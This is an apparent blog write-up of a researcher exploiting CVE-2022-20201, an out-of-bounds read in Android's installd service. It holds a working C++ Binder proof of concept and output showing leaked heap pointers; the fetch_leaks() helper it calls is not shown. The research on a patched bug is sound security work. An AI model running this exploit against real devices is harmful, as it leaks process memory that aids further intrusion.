Intro

This is another attempt as part of my @vr_progress to hack my old, unpatched OnePlus phone which didn’t get any updates for years. This time I chose CVE-2022-20201, a crafty little bug hiding in one of the subsystems used by Android’s package manager. This vulnerability allows the leaking of memory from the installd process/daemon.

The Fix

The fix was introduced in InstalldNativeService::getAppSize(), in the Pixel June 2022 Bulletin. They didn’t provide the patch that fix it in the advisory, but after some digging I found it myself hehe

Commit 81061238c19d7ebabb453697a8c643324cf6c68e:

index 95d9377..b84be9b 100644
--- a/cmds/installd/InstalldNativeService.cpp
+++ b/cmds/installd/InstalldNativeService.cpp
 
@@ -1766,6 +1766,10 @@
         const std::vector<std::string>& codePaths, std::vector<int64_t>* _aidl_return) {
     ENFORCE_UID(AID_SYSTEM);
     CHECK_ARGUMENT_UUID(uuid);
+    if (packageNames.size() != ceDataInodes.size()) {
+        return exception(binder::Status::EX_ILLEGAL_ARGUMENT,
+                         "packageNames/ceDataInodes size mismatch.");
+    }
     for (const auto& packageName : packageNames) {
         CHECK_ARGUMENT_PACKAGE_NAME(packageName);
     }

It verifies that the packageNames and ceDataInodes vectors have the same number of elements. These arguments can be controlled by the client that communicates with this service over IPC.

Analysis

Scrolling down the implementation of InstalldNativeService::getAppSize() reveals a loop that iterates over the elements of packageNames but also assumes that ceDataInodes has the same length:

binder::Status InstalldNativeService::getAppSize(const std::optional<std::string>& uuid,
	const std::vector<std::string>& packageNames, int32_t userId, int32_t flags,
	int32_t appId, const std::vector<int64_t>& ceDataInodes,
	const std::vector<std::string>& codePaths, std::vector<int64_t>* _aidl_return) {
	/* ... */
	for (size_t i = 0; i < packageNames.size(); i++) {
		const char* pkgname = packageNames[i].c_str();
		ATRACE_BEGIN("data");
		auto cePath = create_data_user_ce_package_path(uuid_, userId, pkgname, ceDataInodes[i]);
		collectManualStats(cePath, &stats);
		auto dePath = create_data_user_de_package_path(uuid_, userId, pkgname);
		collectManualStats(dePath, &stats);
		ATRACE_END();
		if (!uuid) {
			ATRACE_BEGIN("profiles");
			calculate_tree_size(
					create_primary_current_profile_package_dir_path(userId, pkgname),
					&stats.dataSize);
			calculate_tree_size(
					create_primary_reference_profile_package_dir_path(pkgname),
					&stats.codeSize);
			ATRACE_END();
		}
		ATRACE_BEGIN("external");
		auto extPath = create_data_media_package_path(uuid_, userId, "data", pkgname);
		collectManualStats(extPath, &extStats);
		auto mediaPath = create_data_media_package_path(uuid_, userId, "media", pkgname);
		calculate_tree_size(mediaPath, &extStats.dataSize);
		ATRACE_END();
	}
	/* ... */
}

By sending a transaction over the binder driver/IPC with mismatched sizes of packageNames and ceDataInodes(i.e: 300 packages, 1 inode), it’s possible to exploit this vulnerability, leading to an Out-of-Bound access outside of the boundaries ceDataInodes.

InstalldNativeService

InstalldNativeService is a system-level service in Android that handles various storage and package management tasks. This service operates with elevated privileges and communicate with system_server, making it a critical component in the security architecture of Android.

Reachability

This code path is reachable from PackageManagerService.java, which uses the InstalldNativeService and crafts queries to it.

Unfortunately I couldn’t find a gadget that creates those arrays/vectors in two different sizes(the only occurrences I found were with vectors of which I cannot manipulate their sizes to be different). So, for start, I crafted a PoC in C++ that communicates directly with the service over IPC just like PackageManagerService does.

Another important thing to note is that the In the methods in InstalldNativeService are using the ENFORCE_UID(AID_SYSTEM); macro, which validates that the calling process is system_server. That means we cannot run the poc binary as untrusted_app / we will need to be with the permissions of system_server(or higher/root).

PoC

While the OOB read happens, we also need a way to retrieve the information that was accessed. After digging deeper into the code flow, I found that the resolve_ce_path_by_inode_or_fallback() function prints out the ‘node’ in case of failure. This node is an element from our ceDataInodes vector.

utils.cpp:97

static std::string resolve_ce_path_by_inode_or_fallback(const std::string& root_path,
        ino_t ce_data_inode, const std::string& fallback) {
	    /* ... */
        struct dirent* ent;
        while ((ent = readdir(dir))) {
	        /* resolving path */
        }
        LOG(WARNING) << "Failed to resolve inode " << ce_data_inode << "; using " << fallback;
        /* ... */
    } else {
        /* ... */
    }
}

In logcat, the leaks appears in the form of an “inode”:

12-12 17:56:29.578  1145 27226 W installd: Failed to resolve inode 502817544320; using /data/data/com.expl.cve_2022_20201
12-12 17:56:29.579  1145 27226 W installd: Failed to resolve inode 502817544336; using /data/data/com.expl.cve_2022_20201
12-12 17:56:29.579  1145 27226 W installd: Failed to resolve inode 502817585760; using /data/data/com.expl.cve_2022_20201

The following snippet demonstrates leaking memory from InstalldNativeService and pulling it from logcat:

/* PoC for CVE-2022-20201 */
#include <binder/IBinder.h>
#include <binder/IServiceManager.h>
#include <binder/Parcel.h>
 
#include <stdio.h>
#include <regex>
#include <array>
 
using namespace android;
 
enum {
	// ...
    TXN_getAppSize = 9 ,
	// ...
};
 
void trigger_oob() {
    sp<IServiceManager> sm = defaultServiceManager();
    String16 name(String16("installd"));
    sp<IBinder> svc = sm->getService(name);
    std::vector<unsigned long long> leaks;
 
    printf("[*] Using defaultServiceManager to connect to remote service \n");
    if(!svc) {
        printf("[!] Cannot find service installd!\n");
        return;
    }
 
 
    printf("[*] Crafting payload \n");
    ::std::unique_ptr< ::std::string> uuid;    
    ::std::vector<::std::string> pkgNames;
    for (int i=0; i<300; i++) {
        pkgNames.push_back("com.expl.cve_2022_20201");
    }
 
    int32_t uid = 0; // 2000(?);
    int32_t flags = 0;
    int32_t appId = 0; // 2000(?);
    ::std::vector<int64_t> ceDataInodes;
    ceDataInodes.push_back(1);
    ::std::vector< ::std::string> codePaths;
    codePaths.push_back("/data/local/tmp/");
    ::std::vector<int64_t> _aidl_return;
 
 
    Parcel data, reply;
    data.writeInterfaceToken(svc->getInterfaceDescriptor());
    data.writeUtf8AsUtf16(uuid);
    data.writeUtf8VectorAsUtf16Vector(pkgNames);
    data.writeInt32(uid);
    data.writeInt32(flags);
    data.writeInt32(appId);
    data.writeInt64Vector(ceDataInodes);
    data.writeUtf8VectorAsUtf16Vector(codePaths);
 
    printf("[*] Sending payload over IPC/Binder \n");
    status_t rc = svc->transact(TXN_getAppSize, data, &reply);
    printf("[*] rc = %d\n", rc);
}
 
int main() {
    trigger_oob();
    fetch_leaks();
    return 0;
}

Output:

OnePlus6T:/data/local/tmp $ ./poc
[*] Using defaultServiceManager to connect to remote service
[*] Crafting payload
[*] Sending payload over IPC/Binder
[*] rc = 0
[*] Fetching mem leaks:
  > 0x6f696b6c62
  > 0x68746150
  > 0x656d614e
  > 0x736e6f69746341
  > 0x656d614e
  > 0x736d61726150
  > 0x68746100
  > 0x68746150
  > 0x6f696b6c62
 ... more leaks ...
  > 0x7512405240    <-- heap pointers! :D 
  > 0x7512405270
  > 0x7512437280
  > 0x75124372e0
  > 0x7512437340
  > 0x75124373a0
  > 0x7512437400
  > 0x7512437460
  > 0x75124374c0
  > 0x7512437520
  > 0x7512437580

At first, it discloses a few strings, probably related to Android’s Parcel , or Intent (strings like ‘Action’, etc.), followed by heap pointers :D

To verify, I read the memory mappings of the installd daemon, to see if the leaked address are in the range of the mapped memory of the process:

OnePlus6T:/data/local/tmp $ cat /proc/$(pidof installd)/maps
  606f742000-606f757000 r--p 00000000 08:0d 689    /system/bin/installd
  606f757000-606f798000 --xp 00015000 08:0d 689    /system/bin/installd
  606f798000-606f799000 rw-p 00056000 08:0d 689    /system/bin/installd
  606f799000-606f79c000 r--p 00057000 08:0d 689    /system/bin/installd
  					...
  7511400000-75123ce000 ---p 00000000 00:00 0
  75123ce000-75123d0000 rw-p 00000000 00:00 0
  75123d0000-7512400000 ---p 00000000 00:00 0   
  7512400000-7512800000 rw-p 00000000 00:00 0      <- leaks were from here
  7512808000-75136b8000 ---p 00000000 00:00 0
  75136b8000-75136ba000 rw-p 00000000 00:00 0
  75136ba000-7513808000 ---p 00000000 00:00 0
  					...
  7ff9a9c000-7ff9abd000 rw-p 00000000 00:00 0      [stack]

Conclusions

Even though I couldn’t find a way to reach it from PackageManagerService.java, I think it was still a fun experience :)